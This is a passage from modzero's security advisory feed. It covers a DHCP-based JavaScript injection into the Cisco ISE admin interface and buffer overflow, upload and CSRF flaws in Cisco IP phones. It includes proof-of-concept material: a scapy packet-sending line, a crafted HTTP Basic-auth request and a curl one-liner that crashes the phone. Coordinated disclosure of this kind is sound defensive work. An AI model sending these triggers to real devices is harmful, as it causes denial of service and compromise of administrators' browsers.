</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">sendp(packet, iface=conf.iface)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Once a person reviews the attributes of an endpoint within the ISE web-
</span></span><span class="line"><span class="cl">based management interface the code will be executed.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">6. Workaround
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">7. Fix
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">No software updates are available yet.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">8. Credits
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> * Max Moser
</span></span><span class="line"><span class="cl"> * Katharina Maennle
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">9. About modzero
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The independent company modzero assists clients with security  analysis
</span></span><span class="line"><span class="cl">in  the  complex areas   of  computer technology.  The  focus  lies  on
</span></span><span class="line"><span class="cl">highly   detailed   technical  analysis   of   concepts,  software  and
</span></span><span class="line"><span class="cl">hardware  components  as  well   as  the  development  of    individual
</span></span><span class="line"><span class="cl">solutions.  Colleagues   at modzero  work   exclusively in   practical,
</span></span><span class="line"><span class="cl">highly technical computer-security areas and can draw on decades of
</span></span><span class="line"><span class="cl">experience in various platforms, system concepts, and designs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Website: https://www.modzero.ch
</span></span><span class="line"><span class="cl">E-Mail: contact@modzero.ch
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">10. Disclaimer
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">------------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The information in the advisory is believed to be accurate at the time
</span></span><span class="line"><span class="cl">of publishing  based on  currently available  information. Use  of the
</span></span><span class="line"><span class="cl">information  constitutes acceptance  for use  in an  AS IS  condition.
</span></span><span class="line"><span class="cl">There are no warranties with  regard to this information. Neither  the
</span></span><span class="line"><span class="cl">author  nor  the  publisher  accepts  any  liability  for  any direct,
</span></span><span class="line"><span class="cl">indirect, or consequential loss or damage arising from use of, or
</span></span><span class="line"><span class="cl">reliance on, this information.
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded></item><item><title>More security brings more insecurity</title><link>https://modzero.com/en/blog/more-security-brings-more-insecurity/</link><pubDate>Wed, 19 Feb 2020 00:00:00 +0200</pubDate><author>modzero</author><category>disclosure</category><guid>https://modzero.com/en/blog/more-security-brings-more-insecurity/</guid><description>modzero found a vulnerability in the Cisco Identity Services Engine (ISE) environment, which allows arbitrary participients of a network to inject arbitrary JavaScript payload right into the administrative webpage of the Cisco ISE administration interface.
</description><content:encoded><![CDATA[<p>modzero found a vulnerability in the Cisco Identity Services Engine
(ISE) environment, which allows arbitrary participients of a network to
inject arbitrary JavaScript payload right into the administrative
webpage of the Cisco ISE administration interface.</p>
<p>CISCO ISE is considered to enhance the overall network security, by
limiting access to local area networks. Arbitrary users using DHCP as a
yet anonymous participent are able to exploit weaknesses in Cisco's
administrative interfaces and thus by-pass the increased security level:</p>
<p>The <em>hostname</em> and the <em>vendor_class_id</em> options of any DHCP request can
be abused to inject malicious payload to execute code in the context of
the browser of the administator, connecting to the Web interface.
Further details and a PoC are available in our advisory.</p>
<p>Direct Link: <a href="https://modzero.com/en/advisories/mz-19-03-cisco-ise/">https://modzero.com/en/advisories/mz-19-03-cisco-ise/</a></p>
]]></content:encoded></item><item><title>[MZ-19-01] Cisco Phone Webserver Vulnerabilities</title><link>https://modzero.com/en/advisories/mz-19-01-cisco-phones/</link><pubDate>Wed, 20 Mar 2019 00:00:00 +0200</pubDate><author>David Gullasch</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-19-01-cisco-phones/</guid><description>Multiple vulnerabilities in the web interface of the Cisco IP Phone 7800 and 8800 series</description><content:encoded><![CDATA[<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span><span class="lnt">191
</span><span class="lnt">192
</span><span class="lnt">193
</span><span class="lnt">194
</span><span class="lnt">195
</span><span class="lnt">196
</span><span class="lnt">197
</span><span class="lnt">198
</span><span class="lnt">199
</span><span class="lnt">200
</span><span class="lnt">201
</span><span class="lnt">202
</span><span class="lnt">203
</span><span class="lnt">204
</span><span class="lnt">205
</span><span class="lnt">206
</span><span class="lnt">207
</span><span class="lnt">208
</span><span class="lnt">209
</span><span class="lnt">210
</span><span class="lnt">211
</span><span class="lnt">212
</span><span class="lnt">213
</span><span class="lnt">214
</span><span class="lnt">215
</span><span class="lnt">216
</span><span class="lnt">217
</span><span class="lnt">218
</span><span class="lnt">219
</span><span class="lnt">220
</span><span class="lnt">221
</span><span class="lnt">222
</span><span class="lnt">223
</span><span class="lnt">224
</span><span class="lnt">225
</span><span class="lnt">226
</span><span class="lnt">227
</span><span class="lnt">228
</span><span class="lnt">229
</span><span class="lnt">230
</span><span class="lnt">231
</span><span class="lnt">232
</span><span class="lnt">233
</span><span class="lnt">234
</span><span class="lnt">235
</span><span class="lnt">236
</span><span class="lnt">237
</span><span class="lnt">238
</span><span class="lnt">239
</span><span class="lnt">240
</span><span class="lnt">241
</span><span class="lnt">242
</span><span class="lnt">243
</span><span class="lnt">244
</span><span class="lnt">245
</span><span class="lnt">246
</span><span class="lnt">247
</span><span class="lnt">248
</span><span class="lnt">249
</span><span class="lnt">250
</span><span class="lnt">251
</span><span class="lnt">252
</span><span class="lnt">253
</span><span class="lnt">254
</span><span class="lnt">255
</span><span class="lnt">256
</span><span class="lnt">257
</span><span class="lnt">258
</span><span class="lnt">259
</span><span class="lnt">260
</span><span class="lnt">261
</span><span class="lnt">262
</span><span class="lnt">263
</span><span class="lnt">264
</span><span class="lnt">265
</span><span class="lnt">266
</span><span class="lnt">267
</span><span class="lnt">268
</span><span class="lnt">269
</span><span class="lnt">270
</span><span class="lnt">271
</span><span class="lnt">272
</span><span class="lnt">273
</span><span class="lnt">274
</span><span class="lnt">275
</span><span class="lnt">276
</span><span class="lnt">277
</span><span class="lnt">278
</span><span class="lnt">279
</span><span class="lnt">280
</span><span class="lnt">281
</span><span class="lnt">282
</span><span class="lnt">283
</span><span class="lnt">284
</span><span class="lnt">285
</span><span class="lnt">286
</span><span class="lnt">287
</span><span class="lnt">288
</span><span class="lnt">289
</span><span class="lnt">290
</span><span class="lnt">291
</span><span class="lnt">292
</span><span class="lnt">293
</span><span class="lnt">294
</span><span class="lnt">295
</span><span class="lnt">296
</span><span class="lnt">297
</span><span class="lnt">298
</span><span class="lnt">299
</span><span class="lnt">300
</span><span class="lnt">301
</span><span class="lnt">302
</span><span class="lnt">303
</span><span class="lnt">304
</span><span class="lnt">305
</span><span class="lnt">306
</span><span class="lnt">307
</span><span class="lnt">308
</span><span class="lnt">309
</span><span class="lnt">310
</span><span class="lnt">311
</span><span class="lnt">312
</span><span class="lnt">313
</span><span class="lnt">314
</span><span class="lnt">315
</span><span class="lnt">316
</span><span class="lnt">317
</span><span class="lnt">318
</span><span class="lnt">319
</span><span class="lnt">320
</span><span class="lnt">321
</span><span class="lnt">322
</span><span class="lnt">323
</span><span class="lnt">324
</span><span class="lnt">325
</span><span class="lnt">326
</span><span class="lnt">327
</span><span class="lnt">328
</span><span class="lnt">329
</span><span class="lnt">330
</span><span class="lnt">331
</span><span class="lnt">332
</span><span class="lnt">333
</span><span class="lnt">334
</span><span class="lnt">335
</span><span class="lnt">336
</span><span class="lnt">337
</span><span class="lnt">338
</span><span class="lnt">339
</span><span class="lnt">340
</span><span class="lnt">341
</span><span class="lnt">342
</span><span class="lnt">343
</span><span class="lnt">344
</span><span class="lnt">345
</span><span class="lnt">346
</span><span class="lnt">347
</span><span class="lnt">348
</span><span class="lnt">349
</span><span class="lnt">350
</span><span class="lnt">351
</span><span class="lnt">352
</span><span class="lnt">353
</span><span class="lnt">354
</span><span class="lnt">355
</span><span class="lnt">356
</span><span class="lnt">357
</span><span class="lnt">358
</span><span class="lnt">359
</span><span class="lnt">360
</span><span class="lnt">361
</span><span class="lnt">362
</span><span class="lnt">363
</span><span class="lnt">364
</span><span class="lnt">365
</span><span class="lnt">366
</span><span class="lnt">367
</span><span class="lnt">368
</span><span class="lnt">369
</span><span class="lnt">370
</span><span class="lnt">371
</span><span class="lnt">372
</span><span class="lnt">373
</span><span class="lnt">374
</span><span class="lnt">375
</span><span class="lnt">376
</span><span class="lnt">377
</span><span class="lnt">378
</span><span class="lnt">379
</span><span class="lnt">380
</span><span class="lnt">381
</span><span class="lnt">382
</span><span class="lnt">383
</span><span class="lnt">384
</span><span class="lnt">385
</span><span class="lnt">386
</span><span class="lnt">387
</span><span class="lnt">388
</span><span class="lnt">389
</span><span class="lnt">390
</span><span class="lnt">391
</span><span class="lnt">392
</span><span class="lnt">393
</span><span class="lnt">394
</span><span class="lnt">395
</span><span class="lnt">396
</span><span class="lnt">397
</span><span class="lnt">398
</span><span class="lnt">399
</span><span class="lnt">400
</span><span class="lnt">401
</span><span class="lnt">402
</span><span class="lnt">403
</span><span class="lnt">404
</span><span class="lnt">405
</span><span class="lnt">406
</span><span class="lnt">407
</span><span class="lnt">408
</span><span class="lnt">409
</span><span class="lnt">410
</span><span class="lnt">411
</span><span class="lnt">412
</span><span class="lnt">413
</span><span class="lnt">414
</span><span class="lnt">415
</span><span class="lnt">416
</span><span class="lnt">417
</span><span class="lnt">418
</span><span class="lnt">419
</span><span class="lnt">420
</span><span class="lnt">421
</span><span class="lnt">422
</span><span class="lnt">423
</span><span class="lnt">424
</span><span class="lnt">425
</span><span class="lnt">426
</span><span class="lnt">427
</span><span class="lnt">428
</span><span class="lnt">429
</span><span class="lnt">430
</span><span class="lnt">431
</span><span class="lnt">432
</span><span class="lnt">433
</span><span class="lnt">434
</span><span class="lnt">435
</span><span class="lnt">436
</span><span class="lnt">437
</span><span class="lnt">438
</span><span class="lnt">439
</span><span class="lnt">440
</span><span class="lnt">441
</span><span class="lnt">442
</span><span class="lnt">443
</span><span class="lnt">444
</span><span class="lnt">445
</span><span class="lnt">446
</span><span class="lnt">447
</span><span class="lnt">448
</span><span class="lnt">449
</span><span class="lnt">450
</span><span class="lnt">451
</span><span class="lnt">452
</span><span class="lnt">453
</span><span class="lnt">454
</span><span class="lnt">455
</span><span class="lnt">456
</span><span class="lnt">457
</span><span class="lnt">458
</span><span class="lnt">459
</span><span class="lnt">460
</span><span class="lnt">461
</span><span class="lnt">462
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero Security Advisory:
</span></span><span class="line"><span class="cl">Multiple vulnerabilities in the web interface of the Cisco IP Phone
</span></span><span class="line"><span class="cl">7800 and 8800 series [MZ-19-01]
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">1. Timeline
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 2018-06-28: Report with findings delivered to a customer and
</span></span><span class="line"><span class="cl">  findings have been reported by our customer to Cisco.
</span></span><span class="line"><span class="cl">* 2018-11-21: This advisory has been sent to the Cisco security team
</span></span><span class="line"><span class="cl">  (psirt@cisco.com) to get a status regarding security patches.
</span></span><span class="line"><span class="cl">* 2018-11-21: Initial response from PSIRT to us.
</span></span><span class="line"><span class="cl">* 2018-12-17: Received Cisco bug IDs: CSCvn56168, CSCvn56175,
</span></span><span class="line"><span class="cl">  CSCvn56194, CSCvn56213, CSCvn56221
</span></span><span class="line"><span class="cl">* 2019-01-23: Information from Cisco that other phones are affected
</span></span><span class="line"><span class="cl">  as well and they still work on a fix.
</span></span><span class="line"><span class="cl">* 2019-02-19: 90 days period for keeping detailed information back is over.
</span></span><span class="line"><span class="cl">* 2019-02-19: Cisco asks to extend period to 2019-03-20. Extension agreed
</span></span><span class="line"><span class="cl">  by modzero.
</span></span><span class="line"><span class="cl">* 2019-03-06: Received CVE-IDs from Cisco
</span></span><span class="line"><span class="cl">* 2019-03-20: Cisco releases advisory and fixes
</span></span><span class="line"><span class="cl">* 2019-03-20: Advisory published
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2. Summary
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Vendor: Cisco
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.1 Buffer overflow in the phone&#39;s webserver
</span></span><span class="line"><span class="cl">  CVE-2019-1716
</span></span><span class="line"><span class="cl">  modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H -&gt; 8.1
</span></span><span class="line"><span class="cl">  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-rce
</span></span><span class="line"><span class="cl">  CVSS Base Score according to Cisco: 7.5
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Affected products according to Cisco:
</span></span><span class="line"><span class="cl">    * 10.3(1)SR5 for Unified IP Conference Phone 8831
</span></span><span class="line"><span class="cl">    * 11.0(4)SR3 for Wireless IP Phone 8821 and 8821-EX
</span></span><span class="line"><span class="cl">    * 12.5(1)SR1 for the rest of the IP Phone 7800 and 8800 Series
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Not affected according to Cisco:
</span></span><span class="line"><span class="cl">    * IP phones running Multiplatform Firmware
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.2 Phone&#39;s web interface fails to restrict access to functions
</span></span><span class="line"><span class="cl">  CVE-2019-1763
</span></span><span class="line"><span class="cl">  modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H -&gt; 8.2
</span></span><span class="line"><span class="cl">  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipab
</span></span><span class="line"><span class="cl">  CVSS Base Score according to Cisco: 7.5
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Affected products according to Cisco:
</span></span><span class="line"><span class="cl">    * 11.0(5) for Wireless IP Phone 8821 and 8821-EX
</span></span><span class="line"><span class="cl">    * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Not affected according to Cisco:
</span></span><span class="line"><span class="cl">    * IP Conference Phone 8831
</span></span><span class="line"><span class="cl">    * IP phones running Multiplatform Firmware
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.3 File upload vulnerability in the phone&#39;s web interface
</span></span><span class="line"><span class="cl">  CVE-2019-1766
</span></span><span class="line"><span class="cl">  modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -&gt; 9.1
</span></span><span class="line"><span class="cl">  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipfudos
</span></span><span class="line"><span class="cl">  CVSS Base Score according to Cisco: 7.5
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Affected products according to Cisco:
</span></span><span class="line"><span class="cl">    * IP Phone 8800 Series products running a SIP Software release prior to 12.5(1)SR1
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Not affected according to Cisco:
</span></span><span class="line"><span class="cl">    * Cisco IP Phone 7800 Series
</span></span><span class="line"><span class="cl">    * Cisco IP Conference Phone 7832
</span></span><span class="line"><span class="cl">    * Cisco Wireless IP Phone 8821(-EX)
</span></span><span class="line"><span class="cl">    * Cisco IP Conference Phone 8831
</span></span><span class="line"><span class="cl">    * Cisco IP Conference Phone 8832
</span></span><span class="line"><span class="cl">    * IP phones running Multiplatform Firmware
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.4 Phone&#39;s file upload affected by path traversal and null injection
</span></span><span class="line"><span class="cl">  CVE-2019-1765
</span></span><span class="line"><span class="cl">  modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H -&gt; 9.1
</span></span><span class="line"><span class="cl">  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ipptv
</span></span><span class="line"><span class="cl">  CVSS Base Score according to Cisco: 8.1
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Affected products according to Cisco:
</span></span><span class="line"><span class="cl">    * 11.0(5) for Wireless IP Phone 8821-EX
</span></span><span class="line"><span class="cl">    * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Not affected according to Cisco:
</span></span><span class="line"><span class="cl">    * Cisco IP Phone 7800 Series
</span></span><span class="line"><span class="cl">    * Cisco IP Conference Phone 8831
</span></span><span class="line"><span class="cl">    * Cisco IP Conference Phone 7832
</span></span><span class="line"><span class="cl">    * IP phones running Multiplatform Firmware
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone’s
</span></span><span class="line"><span class="cl">  upload function
</span></span><span class="line"><span class="cl">  CVE-2019-1764
</span></span><span class="line"><span class="cl">  modzero: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H -&gt; 7.3
</span></span><span class="line"><span class="cl">  URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-csrf
</span></span><span class="line"><span class="cl">  CVSS Base Score according to Cisco:  8.1
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Affected products according to Cisco:
</span></span><span class="line"><span class="cl">    * 11.0(5) for Wireless IP Phone 8821-EX
</span></span><span class="line"><span class="cl">    * 12.5(1)SR1 for the IP Conference Phone 8832 and the rest of the IP Phone 8800 Series
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  Not affected according to Cisco:
</span></span><span class="line"><span class="cl">    * Cisco IP Phone 7800 Series
</span></span><span class="line"><span class="cl">    * Cisco IP Conference Phone 8831
</span></span><span class="line"><span class="cl">    * Cisco IP Conference Phone 7832
</span></span><span class="line"><span class="cl">    * IP phones running Multiplatform Firmware
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3. Details
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3.1 Buffer overflow in the phone&#39;s webserver
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The embedded web-server running on the Cisco IP phones suffers from a
</span></span><span class="line"><span class="cl">buffer-overflow vulnerability. During testing, it was confirmed that a
</span></span><span class="line"><span class="cl">maliciously crafted, unauthenticated request is able to trigger the
</span></span><span class="line"><span class="cl">vulnerability and results in re-booting of the phone. Further analysis
</span></span><span class="line"><span class="cl">of the phone firmware showed that the vulnerability may result in
</span></span><span class="line"><span class="cl">remote code execution in the context of the web server process.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The vulnerable function is extractUsernameAndPassword() for the analyzed
</span></span><span class="line"><span class="cl">CP-8832 and CP-8845/65 phone firmware versions. The
</span></span><span class="line"><span class="cl">function is called whenever a HTTP request needs to be authenticated
</span></span><span class="line"><span class="cl">according to the HTTP &#34;Basic&#34; authentication schema. First, the function
</span></span><span class="line"><span class="cl">allocates a 257 byte-sized temporary buffer tmp_buf on the
</span></span><span class="line"><span class="cl">stack. Then, the HTTP authorization header is acquired through the HTTP
</span></span><span class="line"><span class="cl">connection object conn. The authorization header is decoded from
</span></span><span class="line"><span class="cl">base64 representation by the function decodeUserPassword() and stored
</span></span><span class="line"><span class="cl">into tmp_buf. Before calling decodeUserPassword(), the authorization
</span></span><span class="line"><span class="cl">header string length is not processed safely. The pseudo-code below
</span></span><span class="line"><span class="cl">highlights the problematic computation step:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  char tmp_buf[257];
</span></span><span class="line"><span class="cl">  memset(tmp_buf, 0, sizeof(tmp_buf));
</span></span><span class="line"><span class="cl">  […]
</span></span><span class="line"><span class="cl">  unsigned len = strlen(authorization_header);
</span></span><span class="line"><span class="cl">  len = len &amp; 0xffff;
</span></span><span class="line"><span class="cl">  decodeUserPassword(authorization_header, len, tmp_buf);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Instead, the following code should have been employed to correctly
</span></span><span class="line"><span class="cl">limit the input to the decodeUserPassword() function as follows:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  char tmp_buf[257];
</span></span><span class="line"><span class="cl">  memset(tmp_buf, 0, sizeof(tmp_buf));
</span></span><span class="line"><span class="cl">  […]
</span></span><span class="line"><span class="cl">  unsigned len = strlen(authorization_header);
</span></span><span class="line"><span class="cl">  if (len &gt; 340) len = 340; // because base64-decoding is an 8 to 6 bit transformation
</span></span><span class="line"><span class="cl">  decodeUserPassword(authorization_header, len, tmp_buf);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Because of this programming error, an input of up to 65535 characters
</span></span><span class="line"><span class="cl">can be passed to decodeUserPassword(), which will in consequence
</span></span><span class="line"><span class="cl">decode and write up to 49152 bytes into tmp_buf and the subsequent
</span></span><span class="line"><span class="cl">memory area on the stack. The saved stack pointer and program counter
</span></span><span class="line"><span class="cl">are located right behind tmp_buf and therefore can be overwritten with
</span></span><span class="line"><span class="cl">arbitrary values. When the function extractUsernameAndPassword()
</span></span><span class="line"><span class="cl">returns, the modified stack pointer and program counter are loaded
</span></span><span class="line"><span class="cl">from memory. When arbitrary garbage values are supplied, the program
</span></span><span class="line"><span class="cl">will typically crash and the phone will reboot. It is likely that with
</span></span><span class="line"><span class="cl">sufficient knowledge of the memory layout and program state, an
</span></span><span class="line"><span class="cl">attacker may inject carefully prepared data and execute arbitrary
</span></span><span class="line"><span class="cl">code.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The following HTTP request was shown to trigger the vulnerability
</span></span><span class="line"><span class="cl">(HTTP authorization header truncated for readability):
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">GET /CGI/Java/x HTTP/1.1
</span></span><span class="line"><span class="cl">Host: localhost
</span></span><span class="line"><span class="cl">User-Agent: curl/7.58.0
</span></span><span class="line"><span class="cl">Accept: */*
</span></span><span class="line"><span class="cl">Authorization: Basic iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii…
</span></span><span class="line"><span class="cl">Connection: close
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Such a request can be generated with the command below and sent to the
</span></span><span class="line"><span class="cl">HTTP or HTTPS port of the phone’s web server:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">curl -k -u `seq -s: 999` -d 1 https://&lt;phone IP address&gt;/CGI/Java/CallInfo
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">In a disassembly of the vulnerable function
